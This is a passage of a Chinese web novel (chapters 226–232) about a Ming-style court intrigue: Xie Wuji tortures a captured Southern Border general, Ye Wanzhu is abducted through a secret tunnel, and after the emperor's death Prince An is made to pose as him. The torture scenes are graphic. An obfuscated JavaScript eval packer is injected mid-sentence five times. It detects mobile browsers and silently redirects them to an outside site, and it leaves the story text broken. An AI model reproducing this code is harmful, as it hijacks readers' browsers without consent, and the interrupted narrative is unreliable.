隐风朝天空中发出一道信号,鲜红的色泽划破天际,发出一声不大不小的爆炸声! “砰!” “不好!” 正在赶往景平王府的路上,看着这忽然出现的信号,石将军忽然眉头一皱—— “轰!” 下一刻,沉闷的爆炸声响从他们刚刚离开的地方传了出来! 安王府怎么炸了? 错愕而惊诧地回过头去,看着烟尘四起之中轰然倒塌的安王府院落,石将军下意识地招手,让所有人都停下脚步。 出事了,肯定是出大事了! “不去景平王府了,”他当机立断,“走,先找个地方藏起来!” 安王府这一闹起来,明显是他们的行踪被发现了! 这会儿回去也是万万不能的,石将军的目光左右游移着,飞快地寻找着下一个藏身之处。 在京城中藏匿了这么长时间,石将军与一干手下都已经打扮成了京中普通百姓的模样,只要不开口说话,或者近距离接触,一般不会有人发现他们的异域身份—— “咦?几位,长得有点特别嘛?” 第二百二十六章 欢迎来到大梁! 怕什么来什么! 看着不知道从什么地方就忽然出现在自己面前,宛如从天而降一般的谢无咎,石将军的腿肚子哆嗦了一下,大吼一声转身就跑! 这该死的大梁九千岁,像鬼一样! “拿下。”谢无咎懒洋洋的声音和铺天盖地的东厂手下一起扑了上来。 半个时辰后,景平王府还在燃烧的余烬之外,叶晚竹看着谢无咎晃晃悠悠地带着一行残兵败将而来。 “殿下烧得开心吗?” 转头欣赏了一番已经完全看不出原来痕迹的景平王府,谢无咎笑眯眯地抱起双臂。 叶晚竹勾着嘴角,同样欣赏着自己的作品。 这个让她死了又活,受尽过折磨的地方,日后便要随着风,彻底成为过去式了。 “开心得很,”叶晚竹毫不吝惜那点情绪,“谢都督将这些南疆人一网打尽,开心吗?” “彼此彼此。” 声调依旧是懒洋洋的,谢无咎一招手,让隐月将石将军提了过来。 “你是要全须全尾,完好无缺地交代呢,还是要被烧成一团烂肉,痛苦万分地交代呢?”他把石将军的脑袋拍得啪啪作响。 石将军这会儿鼻青脸肿的,就算叶晚竹从前认识他,这会儿也绝对不可能再把人认出来。 不过叶晚竹不认识他,所以只能看到一个酷似猪头的走狗脑袋。 “我,我什么都不知道!”石将军的声音听着有些模糊不清。 他的鼻梁被打断了,牙也掉了几颗,说话走风漏气,满口的鲜血止不住地往地上滴落下去。 “不知道?” 谢无咎好像听见了什么笑话,抬手亲自将石将军接手过来,将他拎到和自己视线平齐的地方。 “什么都不知道,你一个南疆人,是怎么跑到我大梁的安王府里去的?你会飞天还是遁地啊?” 石将军咬了咬牙没说话,看着谢无咎的眼神仇恨王芬,好像能喷出火来。 下一刻,伴随着一声闷响,石将军的一条胳膊落了地,被谢无咎一脚踢进火堆之中。 这一切都发生得太快,直到亲眼看着自己的胳膊被火苗灼烧,石将军才反应过来,又更加后知后觉地发出一声无比凄厉的惨叫! 他的胳膊! “你这该死的大梁狗!” 剧痛之下,石将军显然已经失去了理智,口中叽里咕噜地说出了一串来自南疆的语言,其中只有这么一句大梁话是能听懂的。 “本督现在可没有汪汪大叫,正在狂吠的,倒是另有其人呢。” 云淡风轻地开了口,谢无咎身上丝毫不见半分戾气,虽然手中的短刀正不断地滴血,却再看不出任何他刚刚才动过手的痕迹。 他又将染血的刀身在石将军身上擦了擦,力道十分之大,硬生生又给石将军添了两道新伤。 石将军绝望地喘着粗气。 这还不算完,隐月再次上前,摸出一个小瓷瓶,将里面上好的止血药朝着石将军的断臂洒了上去。 剧痛再次袭来,石将军翻着白眼想晕过去,谢无咎却又用那只空着的手戳了戳他沾满药粉的伤口。 于是石将军又一次惨叫着醒了过来。 “你,你要干什么?”他用尽力气狠狠瞪着谢无咎。 要杀要剐,能不能痛快点! 谢无咎不紧不慢地收回自己的指头,顺便又飞快地在石将军的衣服上把药粉蹭干净,再开口时表情十分无辜。 “我看将军是南疆人,在大梁初来乍到,特意请您感受一下我们大梁的风土人情啊。” 石将军这辈子就没见过这么不要脸的人,气得愣是摆脱了伤口疼痛的阻碍,深深吸了口气就咆哮了起来,“胡说八道!你放屁!” 这两句话他说了好几遍才找到大梁版本,石将军呼哧呼哧地喘着粗气,活像个风箱。 大梁这是什么风土人情? 都是疯子? 谢无咎背着双手,笑眯眯地看着石将军,仿佛已经等待了很久。 “将军可能总在南疆放肆,当惯了野狗,不知道在我们大梁,作奸犯科必遭报应的习俗。” “本督实在是担心老天下的报应来得太慢,让你逃回南疆躲过去了可怎么办?索性就替天行道了,将军感觉怎么样?” 他感觉怎么样? 非常不好! 石将军恨恨地盯着谢无咎,又吐出一口血来。 下一刻,他的另外一条胳膊也飞了出去! “孟希越拿什么跟你们做了交易,能让南疆派出二十万兵马奔袭大梁的京城?” 手起刀落,毫不眨眼,谢无咎在石将军又一次响起来的惨叫中正式开始了审讯。 接连失去了两条胳膊,饶是有隐月在一旁止血上药,石将军还是疼得理智尽失,激烈的南疆话不断从他口中逸出。 谢无咎怪模怪样地模仿着他的口音,每说一句,手上的匕首轻飘飘地一转,就从石将军身上割下一片薄如蝉翼的皮肉。 此刻的谢无咎仿佛不是九千岁,而是街上杀鸡剖牛的屠夫,石将军就是他手中的货物。 很难能有人经受住这样的折磨,石将军很快就变得奄奄一息,再也没了方才的气势。 不过他的嘴却依然很硬。 “你们,你们等着吧……大梁的好日子,马上就要到头了!” 流血流到脸色灰白,石将军眼神涣散,神志不清,或许连自己都意识不到他在说些什么。 谢无咎停下手里的活计,朝着他微微弯下腰去。 “那就请将军给我介绍一下,大梁的好日子是怎么到头的吧?” “大师,大师是不会放过你们的……” 本是挑衅,却不料听见了这么一句话,谢无咎的神情微微一滞。 旁观了半晌的叶晚竹也忍不住看了过去。 大师? 什么大师? “一切都已经开始了……停不下来的……” 石将军还在不断喃喃低语,双眼上翻,口中流出涎水,看样子已经快不行了。 “谁是大师?”谢无咎低声问道。 下一刻,石将军的身子忽然一僵。 几乎是同一时间,谢无咎下意识地抬手将他丢了出去! “有暗器!小心掩护!”他大喝一声。 第二百二十七章 殿下不见了! “嗖”地一声,一道银芒闪过,精准地钉在石将军的脖颈上。 石将军猛地睁大双眼,脸色却在瞬间发了青,嘴角也溢出黑血,连眼睛都来不及闭上便断了气! 谢无咎这时候已经一把抓住了叶晚竹的手腕,身子一跃便凭空登上最近的一棵大树。 “在那儿!”叶晚竹抬手指了指不远处,一个灰扑扑的影子正朝着远处快速奔逃而去。 “抱紧我。” 只来得及说出这三个字,谢无咎便再次纵身一跃,朝着那灰影追了上去。 叶晚竹用力抱着谢无咎的腰身,感到周遭劲风呼啸,她低头向下看去,发现京中的情况又开始变得混乱。 几条热闹的大街不知道为什么挤满了正在逃跑的人,细看去还有官差在其中徒劳地维持着秩序。 除了他们身后的景平王府之外,城中其他几处也肉眼可见地升起了黑烟。 有人在浑水摸鱼! 叶晚竹又抬头朝着那前方的灰影看了过去。 虽然带着她这么一个大活人,谢无咎的动作却也没见有多少凝滞,快速朝着前方追赶,和那灰影之间的距离越变越近。 灰影也加快了动作,左右躲闪,却依旧被谢无咎死死地咬着不放。 “来都来了,人也杀了,朋友,你不露面不太好吧?” 探出头,叶晚竹朝着那人的背影大喊起来。 灰影的动作没有半分迟疑,好像完全没有听见叶晚竹的话似的。 就在这时,谢无咎抬手一挥,将前方一棵大树伸出的枝干打断,簌簌而下的枝叶顿时挡住了那灰影前进的动作。 做下动作的同时,谢无咎身子一晃,从侧面赶了上去—— “啪”地一声,一团白烟在半空中炸开,顿时将两人的视线遮挡得严严实实的! 谢无咎的动作被迫停了下来,等白烟散开,那灰影显然早已经跑得无影无踪了。 “螳螂捕蝉,黄雀在后?” 缓缓落回到地面,谢无咎若有所思地喃喃自语着。 叶晚竹环顾四周,而后用手肘顶了顶谢无咎,“你有没有觉得这条路有些熟悉?” 熟悉? 从思绪中回过神来,谢无咎也学着她的模样左右看了看。 “往前走就是安王府了。” 叶晚竹抬手朝着某个方向指了指,那里的滚滚黑烟还没有要消散下去的意思。 片刻后,两人赶到安王府,这里也已经被一把大火烧得残破不堪。 “九千岁!” 听着这边的动静,一个身材高大,虎背熊腰的将军快步朝谢无咎走了过来。 正要再说什么,叶晚竹抬起头来,两人目光相会,都是一愣。 “狄文?”叶晚竹犹豫着道。 “王妃!”对面的将军显然更热情一些,话刚出口却又感觉到不对。 他抬手在自己嘴上拍了一下,“末将见过威远王!殿下安好!” “你们认识?” 谢无咎的声音这时候插了进来,带着不少好奇。 叶晚竹点了点头。 当年她和萧子景一同出征,狄文便是那次随军的一员小将,他十分骁勇,很快便得了萧子景的赏识,将他带在身边。 正是因此,叶晚竹与他也算相熟。 三言两语将那段往事道出,叶晚竹又后退两步,看着与自己印象中已经截然不同的狄文。 当年他身材清瘦,穿着盔甲还显得有些不和谐,没想到几年后会变得如此健壮。 “好了,叙旧的话日后再说吧,现在是什么情况?” 简单说了两句,叶晚竹便切入了正题。 狄文听着她这话却是一愣,下意识地转头朝谢无咎看了过去。 “殿下的意思就是本督的意思。”谢无咎连眼皮都没抬上一下。 闻言,狄文也放下心来,却很快又皱了皱眉。 “九千岁,殿下,京中忽然又冒出了一群南疆人,在城里四处作乱,五城兵马司的人已经出发抓人了,但他们转移得很快,只怕效果不会太好。” 狄文如今已经是独当一面的将军,统领城南大营,拱卫京城的任务如今便是他在负责。 谢无咎闻言道,“这些南疆乱党是什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851553|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来**的?” “不到半个时辰前。”狄文沉声道。 叶晚竹和谢无咎对视了一眼。 不到半个时辰,那也就是谢无咎把石将军抓到景平王府门前的时候。 “这背后的黄雀还挺多。” 轻嗤一声,谢无咎眼中的正色变得浓了几分。 石将军放出阮莹莹做诱饵,殊不知自己也是一个能被随时舍弃的棋子。 还有人在暗中操控着这些南疆人的行动,想来和刚才那个灰影脱不开干系了。 叶晚竹这时候已经朝着安王府看了过去。 无缘无故的,那个灰影不会随便选个方向吧? 安王府虽然有谢无咎的手下在这里放火,但大火之中,同样也能掩藏很多东西。 “本督进去看看。” 谢无咎的声音响起,显然和叶晚竹想到了一起。 他朝前走了几步,叶晚竹默不作声地也跟了上去。 脚步一顿又若无其事地继续,谢无咎目视前方,语气轻飘飘的,“里面可能会有危险。” “用阮莹莹来下套,他们针对的也还是我,这个时候,还是待在谢都督身边最为安全。”叶晚竹说得十分理直气壮。 再说,她也真的想看看,究竟是什么人在如此耍弄诡计。 本以为孟希越便是那幕后黑手,可眼下看来,他恐怕也不过只是一枚不大不小的棋子。 这幕后之人究竟想干什么? 叶晚竹并不想轻饶了他。 敢算计她,只有不死不休! 安王府的火这会儿已经差不多被人扑灭了,叶晚竹和谢无咎走进断壁残垣之中,和他们一起的还有不少东厂的人手。 安王府大部分时间无人居住,几乎是个空壳子,饶是如此,被烧塌的房梁殿柱的数量也十分可观。 行走在其中十分不易,叶晚竹深一脚浅一脚地迈着步子,不知道踩到了什么地方,脚下骤然一空! 连出声的功夫都没有,失重感骤然袭上,只来得及蜷缩身子护住要害,叶晚竹便直直向下坠落而去! “殿下——!” 第二百二十八章 山中来信 狄文也随着他们在安王府中行走,眼见着叶晚竹猛地消失不见,忍不住大喊一声,朝前两步赶了上去。 谢无咎的动作比他更快,一脚踢开周围的杂物,赫然在下方看到一个黑漆漆的洞口! 安王府有地道! 地道内部更是一片黑暗,什么都看不清,谢无咎的脸色忽然一变,一掀袍子便跳了下去,“殿下?晚竹!” 足有一人高的暗道空荡荡的,寂静万分,刚刚落下来不到片刻的叶晚竹却无影无踪,就这么消失在了谢无咎眼前。 他环顾四周,表情变幻不明,双手也死死地握成了拳头。 “拿火把来。、” 抬头开口,谢无咎的语气十分平静,却让上方的手下们都打了个哆嗦。 很快,谢无咎亲自带队,一行手下跟在他身后钻进地道,朝着未知的前方小心翼翼地探索过去。 这条地道似乎是从什么地方专门通向安王府的,一端没延伸出去多长便到了头,另一端却弯弯曲曲地伸向远方。 火把一直在持续燃烧着,便说明这地道有朝外的出口,可一行人沉默着足足走了大半个时辰,还是只能看到幽深的黑暗在不断涌来。 两侧的墙上也一直有人检查,并没有发现什么暗门。 这条密道设计得如此精巧,想来定是有什么特别的用处。 越往前走,谢无咎的表情便越是难看。 “一个时辰了,主子。” 隐风掐算着时间,小心翼翼地朝谢无咎上前两步,“按照咱们的速度,这会儿已经离开京城了。” 这条暗道虽然弯弯曲曲,但方向始终是向前的,并没有转弯的迹象。 无论究竟通往何处,他们现在都不在城中了。 如此想来,城外的那些南疆军,岂不就是这样混进京中的? 谢无咎盯着还在微微晃动的火苗,不知道这风是从什么地方吹进来的,吹得他整颗心都是凉冰冰的。 “继续向前。” 闭了闭眼,谢无咎攥着火把的手紧了紧。 现在看来,这显然是个圈套,为的就是让他们上钩。 事已至此,只能继续走下去了。 谢无咎这一发话,手下们便也又沉默下去,继续沿着仿佛无穷无尽的暗道向前。 又走了不到半个时辰,几人的脚步都是一顿。 他们脚下原本是一片平地,现在却有了上升的坡度,且越发明显。 这是在上山? 定了定神,谢无咎做了个噤声的手势,灭掉火把,反手将**拿了出来。 在他身后,隐风等人也齐齐做出了相同的动作。 接下来的两炷香时间里,这条暗道向上攀升的坡度变得更大,到了最后甚至已经变成了台阶。 他们无疑是正在爬山。 京城外相对还是十分开阔的,只有一座禹山坐落在附近。 这从安王府延伸出来的通道,竟然能直抵禹山之中? 没想到竟然还有这样的通路,隐风等几人互相看了看,黑暗中不能完全辨认对方的面目,但显然几人的表情都算不上好。 谢无咎走在最前方,背影更是几乎要与这黑暗融为一体。 又向上走了半柱香左右,一扇精致的小门赫然出现暗道尽头。 几人同时脚步一顿。 谢无咎几乎不发出半点声音地走上前去,侧耳听了听门后,一片安静。 小门并未上锁,思忖片刻,谢无咎抬手便将其推开。 清凉的山风涌入通道之中,还伴随着一抹阳光,让几人都下意识地眯了眯眼。 他们真的出来了? 谢无咎仍是一马当先,弯腰从地道里钻了出去,左右看看,发觉自己正站在一个空荡荡的山头上。 放眼望去,周围什么异样都没有,只有几棵大树静静地伫立着。 他忽然眼神一顿,朝着其中一棵树走了过去,抬手从上面摘下一个信封。 纯白的信封上什么都没写,谢无咎定了定神,还是动手将信封拆开了。 “久闻景平王妃大名,不如一见,有心小叙,请谢都督万勿挂念。” —— 叶晚竹就这么在所有人的眼皮子下面消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851554|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失不见了。 谢无咎命人遍寻京中,又带着人手几次在那条通道来回寻找,甚至还往禹山中探了一圈,结果却都是一无所获。 谢都督府的气氛也前所未有地紧张压抑了起来。 唯一的线索便是那封信,曼娘听说了消息后来找到谢无咎,将当初前往南疆的商队消失时收到的信里的内容讲了出来。 相差仿佛的口吻,明显是出自同一人的手笔。 看来,从很久以前,那幕后之人便算计好了一切。 这究竟是什么人,又为什么如此执着地要和叶晚竹过不去? 想不通,谢无咎只能一次又一次地前往水牢提审孟希越。 日夜被浸泡在刺骨的冷水之中,孟希越如今的情况也狼狈得要命,形销骨立,满身是伤,连说话的时候都发不出多大的声音。 投入水中的手段已经用了太多次,孟希越这会儿十分麻木不仁,谢无咎便亲自把人从水池里提了出来。 被强行绑在刑架上,面对着烧红的烙铁,孟希越费力地睁开双眼,看着出现在自己眼前的谢无咎,笑声带着一股幸灾乐祸的意味。 “这不是无所不知,无所不能的九千岁,谢都督吗?怎么如此狼狈啊?” 谢无咎脸色阴沉,眉宇间全是戾色,闻言沉默着拿起火钳,劈头盖脸地朝着孟希越甩了下去! 一声闷响,孟希越抑制不住的痛哼也跟着传来。 可是不过片刻,这声音又转化成了低低的笑意。 “谢都督这是无计可施,只能发泄发泄情绪咯?” 阴阳怪气地说着调侃的话,孟希越连连粗喘着,眼神越发不怀好意。 “大师是什么人?” 无视孟希越的挑衅,谢无咎反手又是一下,面无表情地问起了这个老生常谈的问题。 叶晚竹消失的这七八天来,他天天都只来问孟希越这一个问题。 孟希越习惯了,并不作声,只是眼神日复一日地变得更加得意。 “九千岁,”他哼笑一声,“不若你听我的话,放开京城四门,那我就告诉你,如何?” 第二百二十九章 圣上薨了,圣上来了 “用一条命令来换叶晚竹的命,怎么想都合算得很吧,是不是?” 牢房中空无一人,孟希越语气引诱,谢无咎的神情也随着他的话而变得阴晴不定。 “谢都督,你好好想想,给一个将死之人卖命,真的值得吗?” 孟希越还没说完,看着谢无咎的时候,眼神中也渐渐充满了慑人的光亮。 “圣上马上就要**,什么都救不了他,等他一死,你打算怎么办?你替他把脏活累活全都干了,落了一身骂名,等新皇登基,还能容得下你吗?不如早点回头是岸吧、” 谢无咎一动不动地站着,等孟希越把话说完,才不动声色地冷笑起来,“你说的新皇不会就是自己吧?” 孟希越但笑不语。 昭德帝膝下没有子嗣,唯一的小辈只有孟希越一个人。 “九千岁,”他的表情越发舒展,“只要你投诚,过去的那些,我们都可以既往不咎,当然,叶晚竹也会好好地出现在你——”眼前。 话还没说完,刑房的门忽然被敲响了,透着一股急切。 “进来。” 谢无咎定了定神,开口时,语气分明像是已经猜到了什么。 隐月快步走进刑房,表情凝重,附在谢无咎耳边轻声说了句什么。 谢无咎眼底有一瞬的幽黑。 闭了闭眼,他直起身子,“再说一遍。” 隐月愣了愣,主子这模样,怎么看都是要他当着孟希越的面儿开口啊? 这…… 可他又斜晲过去,谢无咎并没有要睁开双眼的意思。 “圣上薨了。”隐月言简意赅,“就在一炷香之前,留下口谕秘不发丧,宫中一应事务,全都移交给九千岁。” 说着话,他反手将昭德帝的玉佩取出,双手呈到谢无咎的面前。 刚刚还在说着昭德帝,他就这么**? 饶是孟希越等这一天等了许久,这会儿也不由得愣了愣,而后才朝着谢无咎看去。 “微臣领旨。” 谢无咎不知道什么时候已经睁开了双眼,眼底清明一片。 他拿起玉佩放在手中摩挲了几下,朝隐月做了个手势,转头再看向孟希越的时候,忽然露出了一个笑容。 不知为何,孟希越忽然感到身上有些发凉。 隐月快步离开刑房,屋中又安静了下来。 “世子刚才那话,乍一听似乎很有道理,差点儿就把本督说服了。” 漫不经心地把玩着手中的玉佩,谢无咎眉眼低垂,语气也十分轻柔,“可现在,圣上的信物在我手中,御林军,金吾卫,还有宫中的一切调度,也都在我手中。” “世子,本督有这样多的权利,为什么要送你登基上位?”他灿然一笑。 听懂了他的话,孟希越的表情变得无比难看。 “你,你要谋反?” 谢无咎仰头哈哈大笑起来。 “真没想到,有朝一日竟然能从世子口中听到这句话,真是滑稽!” “世子纠集了二十万南疆大军在城外徘徊,竟然质问我要谋反?”他语气讥诮,“您自己听听,这话不好笑吗?” 孟希越牙关紧咬,“就算你能强行上位,也只不过是顽抗一时!城外大军不退,迟早要把所有人都困死在这儿,到了那个时候,你一个根基不稳的**之人,如何能把控局面?” 谢无咎在京中的凶名再盛,也不过是表面功夫,若是没了昭德帝的殊宠,什么都不是。 “我劝你不要太自大,否则,也只是白白地搭上一条命!” 语气越发急促,孟希越忽然又转了转眼珠子。 “再说,难道你要把叶晚竹丢开不管了吗?” “看来,世子是承认抓走威远王殿下这件事,和你有关了。” 谢无咎终于又慢吞吞地开了口,看着孟希越很淡地笑了一下。 “你们的人,还真是无孔不入。” 连他这东厂也能渗透进来,让孟希越将外面的情况掌握得一清二楚。 孟希越的身子颤了颤,想说什么,却又被谢无咎笑着打断了。 “不过……有一件事,世子怕是想错了。” “谁说本督要谋权篡位?” 孟希越表情一凝,显而易见是变得糊涂了起来。 谢无咎但笑不语,沉默着僵持了片刻,直到隐月的声音再次传来,他才背起双手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851555|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “进来吧。” 刑房的门一开一合,看着出现在自己面前的人,孟希越猛地瞪大了双眼! “你——!” 圣上不是**吗?怎么会出现在这里? 而且还能自己走路? 下意识地朝着“昭德帝”的双腿看去,孟希越又呆愣了片刻,才反应过来自己看到的东西有些不对劲。 这位圣上……怎么还长胖了这么多? “微臣参见陛下。” 谢无咎这时候含笑上前,朝着“昭德帝”躬身一礼。 “昭德帝”明显有些慌乱,下意识地往后仰了仰身子,很快却又强行让自己恢复了一本正经的模样。 他点点头,又朝谢无咎摆了摆手。 直起身子,谢无咎抬手朝孟希越一指。 “圣上,此子贼心不死,依然勾结南疆意图谋反,依您所见,该如何处置才好?” “昭德帝”皱了皱眉,眼中飞快地闪过一丝为难—— “父王?” 孟希越太熟悉这双眼睛里表现出来这样的神情了,几乎不需要思考,一句话便脱口而出! “昭德帝”又一次愣住,随后眼中出现了掩饰不住的慌乱! 这人真是他父王? 孟希越难以置信地瞪着那张脸看了片刻,而后忽然猛烈地挣扎起来。 “你这个畜生,你,你……” 怒瞪着谢无咎,孟希越连话都不知道该怎么说才好了。 他竟然找人假扮昭德帝? 这办法,听上去比谢无咎自己篡位来得更荒谬! “能瞒过世子三句话已经够了,陛下,咱们移驾吧?” 无视了孟希越的暴怒,谢无咎笑吟吟地转过身,朝着“昭德帝”伸手一引。 “昭德帝”看看谢无咎,又看看被绑在刑架上的孟希越。 “世子会活着的。”谢无咎当即点头应允。 “父王,您不能这样!”孟希越也在同时嘶声大喊起来,“您不能跟谢无咎一起!” 他们两个才是一家人啊! 挣扎片刻,“昭德帝”还是抬脚离开了刑房! “接,接下来干什么?” 第二百三十章 请圣上拿主意吧! 刑房的门被关上,将孟希越的大叫隔绝在外,“昭德帝”——安王擦了擦额头上的冷汗,小心翼翼地朝着谢无咎看了过去。 “圣上您这是说的什么话?当然是您想干什么就干什么了。” 轻笑着,谢无咎的神情看上去分明和从前没有什么不同,却让守在门前的侍卫们都忙不迭地低下头去。 威远王殿下消失之后,九千岁瞧着是越来越可怕了! 安王却还沉浸在自己的世界里,闻言嘟囔一声,“那我想变回去。” 东厂这边有最好的伤药,七八天过去,安王脸上的伤口基本都已经愈合消肿,这也让他的模样彻底朝着昭德帝无限靠拢。 更别说今天还彻底打扮成昭德帝出来招摇过市了! 只要一想到自己日后要变成昭德帝过活,安王就头疼! 听着他的话,谢无咎又挑了挑眉。 “若是如此,那您可就只能做叛党的父亲了。” 通敌谋反,哪一样单拎出来都是要**的罪名! 于是安王哆嗦得就更加厉害了! 前看后看,怎么看,他都好像是上了贼船啊! “圣上薨了。” 谢无咎这时候低语一句,安王闻言顿时愕然地抬起头来。 迎上谢无咎毫无笑意的脸,他眉头一皱,眼睛立刻就红了。 “什么时候?” “刚刚。” 安王连忙低下头,呼吸声变得急促起来。 “从安王府通到禹山的暗道一点儿线索都查不出来,城外的十五万南疆大军也还在虎视眈眈,京中的物资储备最多只能再坚持半个月。” 与安王这会儿的悲痛相比,谢无咎似乎显得格外无情,掰着手指,一条一条地数了起来。 “我们的时间不多了,陛下。” 他格外在陛下二字上加重了语气,安王猛地抬起头,揉了揉依旧红通通的眼睛,却深吸了一口气。 “我知道了。” 圣上薨了,京城却不能也跟着乱了去! “城南大营的狄文将军,五城兵马司的霍澜将军,还有几位大人都已经收到旨意,收拾进宫面圣了,您也请吧?”谢无咎后退两步,又朝着安王躬了躬身子。 又深深地吸了一口气,安王睁开双眼,脸上写满四个大字。 视死如归! “走!进宫上朝去!” 不就是假扮皇帝吗? 他年轻的时候,也是在宫中读过书的! 安王很快就发现自己好像把这件事情想得太美好了点。 算起来,昭德帝前前后后已经有好几个月没上朝了,哪怕是谢无咎一直对外放出消息,说是圣上正在养病,又用雷霆手段处决了那些当初跟着孟希越乱来的臣子,众人心里始终有一道坎。 这会儿冷不防听见圣上传召入宫,两位将军,还有几位文官大人都又惊又疑。 圣上康复了? 可怎么只点了他们几个人入宫? 等见着坐在御书房中的圣上,大人们更加忍不住,目露疑惑。 圣上看起来还是那个圣上,只是……总觉得有些地方好像不太对劲? 直到谢无咎上前开口说话,几位这才恍然大悟,又立刻变得更加怀疑。 “九千岁是说,圣上的嗓子被叛党毒哑了?先前我等怎么没有听说过?” 宰相倪运良皱着眉头开口,从眼神到语气全是怀疑。 前一阵子宫变之时,圣上还在滔滔不绝地说话骂人呢,怎么养了一段时间的病,不光浮肿了两圈不止,连嗓子都不能说话了? 坐在龙椅上的安王闻言就是一哆嗦,下意识地便朝着谢无咎的背影看了过去。 谢无咎老神在在地束着双手,眉头却皱着,看起来十分无奈。 “倪相您有所不知,能解了圣上体内毒素的,也是一味剧毒,两相冲撞之下,虽然保住了圣上的性命,却也毒坏了嗓子,实在是无奈之举。” “你,你说什么?”倪相闻言双腿就是一哆嗦,“你好大的胆子!” 竟然敢对着圣上用这种以毒攻毒的法子! 谢无咎叹了口气,“比起性命, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857857|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子还是先放一放吧,再者说,这也是圣上的意思。” “……嗯!” 昭德帝含糊的声音从上方传来,沙哑艰涩,听着确实不太对劲,闻言,倪相虽然住了口,表情却依旧不情不愿的。 “还是先说正经事吧,京中的情况现在如何?” 谢无咎千斤拨四两,一句话就把御书房中的几位大人都带着转到了另外一条路上。 左右圣上这会儿的确是好端端地坐在椅子上,几位大人也不再过多纠缠,很快便一头扎进了这件更为重要的事情之中。 狄文将军第一个上前禀报。 那十五万南疆大军已经在京城之外盘踞了一个月的时间,没有半点要撤离的意思,狄文派出几支小队分别从不同的方向骚扰,对方也只是派出了同等的小队试探跟从,一旦发现追得太远便立刻回转,没有半点要恋战的意思。 很明确,他们的目标,就是要集中最大的精力,把京城里的力量耗死! “圣上!”狄文将军单膝跪地,“如今的情况十分不好,还请您速速调兵,先解了城外之围!” 他话音刚落,倪相便摩挲着自己那把长胡子,连连地摇起了脑袋。 “不可,不可!依微臣之见,应该先重点关注城中,将叛党先清理干净!” 他抬头朝着上方看去。 “眼下京中已经有了人心飘摇的迹象,再加上那些混进城中的小股南疆势力四处作乱,若是不及时解决,恐怕是要出大事啊!若是城中先自乱阵脚,外面打起来,那不更是乱上加乱?” “要末将说,还是应该先给兵马司和巡城司增派人手!” 霍澜将军也紧跟着发了声,雄浑有力的声音顿时让御书房上下齐齐为之一震! “两司的兵士们全力以赴在城墙和京中巡逻了这么长时间,早就顶不住了,如今每日都有病员伤员,再这么下去,这条防线就要漏了!” 三人各执一词,谁也不肯相让,很快就你一言我一语地争论了起来。 “圣上!此事还是请您来做个决断吧!” 第二百三十二章 贫僧天问 谁啊! 陌生的声音忽然在御书房中响起,安王吓得从椅子上弹了出去,一声大喊就在嘴边,又得硬生生忍住! 他迟早得憋死! 捂着胸口呼哧呼哧地喘着粗气,安王瞪大双眼,狂乱地朝着屋中扫视着。 这是谁在说话? 谢无咎方才被东厂的手下叫走了,不知道发现了什么重要的线索,安王看着宫中的太监宫女就心慌,索性也让他们全都下去,只把他自己一个人留在御书房里。 眼下殿门还关得好好的,却有人进来了? “见过陛下!” 就在这时,迎着安王惊疑不定的目光,一道身影不紧不慢地从半空中显现出来。 此人身量瘦高,留着一把雪白的胡须,身穿一件灰色长袍,随着一阵忽然出现,又忽然消失的烟尘,在书桌前缓缓站定。 安王瞪大了双眼,难以置信地望着出现在自己面前的场景。 这人真的是凭空出现的? “你——” 控制不住地吐出一个字,安王又下意识地咬住了自己的舌头。 差点儿露馅! 急急咳嗽了两声做掩护,他再次抬起头来看着这从天而降的灰衣人。 此人鹤发童颜,一张脸看上去比安王自己的样子还年轻一些,可满把的白胡须却让人又觉得他的年龄应该已经不小了。 安王十分确定,他从来没有见过这个人。 这人是谁?怎么能凭空进到御书房来? 想抓笔写字,他的动作却又顿住了。 万一这人是真的和昭德帝认识,那怎么办? 慌慌张张地思索了片刻,安王最后还是指了指对方,又指了指自己的喉咙。 反正他顶着昭德帝的脸,也说不出话来,他是什么意思,就让这人自己猜去吧! “陛下无法出声?”果然,这灰衣人的眼中闪过了一丝疑问。 